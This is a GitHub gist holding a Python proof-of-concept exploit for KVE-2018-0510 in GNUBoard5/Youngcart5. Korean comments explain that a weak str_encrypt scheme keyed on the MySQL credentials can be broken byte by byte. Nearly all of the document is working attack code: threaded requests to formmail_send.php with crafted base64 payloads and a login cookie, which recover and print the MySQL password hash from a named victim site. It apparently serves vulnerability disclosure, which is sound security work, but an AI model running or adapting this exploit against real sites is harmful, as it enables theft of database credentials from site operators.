-
-
Save stypr/d6f69048e7a1098d9228bc3deccff465 to your computer and use it in GitHub Desktop.
KVE-2018-0510 Broken cryptosystem leading to MySQL password leakage PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python -u | |
#-*- coding: utf-8 -*- | |
''' 그누보드/영카트 5.3.1.4 str_encrypt 암복호 시스템 결함을 통한 | |
MySQL Password Leak by stypr ( https://harold.kim ) | |
* str_encrypt 클래스를 사용하는 모든 버전에 취약함. (최소 5.1.17부터 취약한 것으로 추정됨) | |
* str_encrypt는 최초 로드시 MySQL 계정정보를 md5 해쉬를 key로 설정함. | |
* 그 salt를 이용해 byte-by-byte add 연산을 하여 base64 인코딩함. | |
* formmail_send.php 에서 @가 두개일 때 오류 발생 | |
- email 입력 글자길이를 체크 안함 | |
- 위 점과 key의 길이가 32자임을 이용해 1 byte씩 leak하여 SALT leak. | |
''' | |
import threading | |
import urllib2 | |
import base64 | |
import sys | |
import time | |
SALT = [""]*32 | |
HOST = "" | |
COOKIE = "" | |
# n번째 바이트 leak | |
def leak_byte(n): | |
global SALT, HOST, COOKIE | |
# 16 if (substr_count($to, "@") > 1) | |
# 17 alert_close('한번에 한사람에게만 메일을 발송할 수 있습니다.'); | |
def try_payload(n, i): | |
""" 글자 leak을 위한 패딩 함수 ' | |
try_payload(n번째 바이트, 브루트포스 할 값) """ | |
# dummy_byte 생성 | |
dummy_byte = chr(0x01) | |
payload = (dummy_byte * n) + chr(i) + (dummy_byte * (31 - n)) | |
payload += payload | |
return __import__("base64").b64encode(payload) | |
# range(111, 122): 0~9, range(161,167): a-f | |
for i in range(111, 122) + range(161, 167): | |
payload = try_payload(n, i) | |
#print("[-] Leaking char %s: Tried %s/255" % (n, i)) | |
# (HOST + "/bbs/formmail_send.php?to=" + payload) | |
req = urllib2.Request(HOST+"/bbs/formmail_send.php?to=" + payload) | |
req.add_header("Cookie", COOKIE) | |
resp = urllib2.urlopen(req).read() | |
# 에러 내용 확인 | |
alert_result = resp.split("<script>")[2].split("</script>")[0] | |
#print(alert_result) | |
# (current i decrypts to @) | |
if "한번에 한사람에게만" in alert_result: | |
_leak = chr(i - ord("@")) | |
SALT[n] = _leak | |
print("[*] Byte %s Leak: %s" % (n, ''.join(SALT))) | |
break | |
if __name__ == "__main__": | |
print("GNUBoard5/Youngcart5 MySQL Password Leak by stypr(https://harold.kim/)") | |
print("="*70) | |
if len(sys.argv) != 3: | |
print("Usage: " + sys.argv[0] + " [http(s)://victim_board_url/] [COOKIE]") | |
sys.exit(0) | |
# 반드시 로그인 된 상태의 Cookie여야 정상작동함. | |
HOST = sys.argv[1] | |
COOKIE = sys.argv[2] | |
t = [] # 멀티프로세스 형식 쓰레드 | |
# len(md5(x)) == 32 | |
for n in range(32): | |
p = threading.Thread(target=leak_byte, args=(n,)) | |
t.append(p) | |
p.start() | |
while len(t) > 0: | |
t = [i for i in t if i.is_alive()] | |
time.sleep(1) | |
print("==== Leaked MySQL Password Hash: " + ''.join(SALT[1:32]) + SALT[0] + " ====") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment